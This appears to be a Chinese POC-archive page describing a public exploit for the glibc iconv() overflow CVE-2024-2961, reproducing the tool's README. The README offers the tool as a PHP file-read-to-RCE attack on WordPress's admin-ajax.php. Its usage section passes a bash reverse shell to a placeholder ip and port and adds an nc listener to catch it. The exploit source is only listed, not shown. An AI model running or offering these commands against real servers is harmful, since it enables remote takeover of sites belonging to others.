POC详情: c51bd98896c862d676cd5a9afa8f3fa374eda424

来源
关联漏洞
标题: GNU C Library 安全漏洞 (CVE-2024-2961)
描述:GNU C Library(glibc,libc6)是一种按照LGPL许可协议发布的开源免费的C语言编译程序。 GNU C Library 2.39 及之前版本存在安全漏洞,该漏洞源于 iconv() 函数可能会缓冲区溢出,导致应用程序崩溃或覆盖相邻变量。
描述
To use, implement the Remote class, which tells the exploit how to send the payload.
介绍
# PHP file-read to RCE (CVE-2024-2961)

## TODO Parse LIBC to know if patched
## INFORMATIONS
#### To use, implement the Remote class, which tells the exploit how to send the payload.

This exploit script targets the `admin-ajax.php` endpoint on WordPress to achieve remote code execution.

## Usage

```bash
python3 cnext-exploit.py 'http://blog.bigbang.com/wp-admin/admin-ajax.php' 'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"'

```

Set up a listener to catch the reverse shell:

```bash
nc -lvnp port
```
文件快照

[4.0K] /data/pocs/c51bd98896c862d676cd5a9afa8f3fa374eda424 ├── [ 48K] exploit.py └── [ 508] README.md 0 directories, 2 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。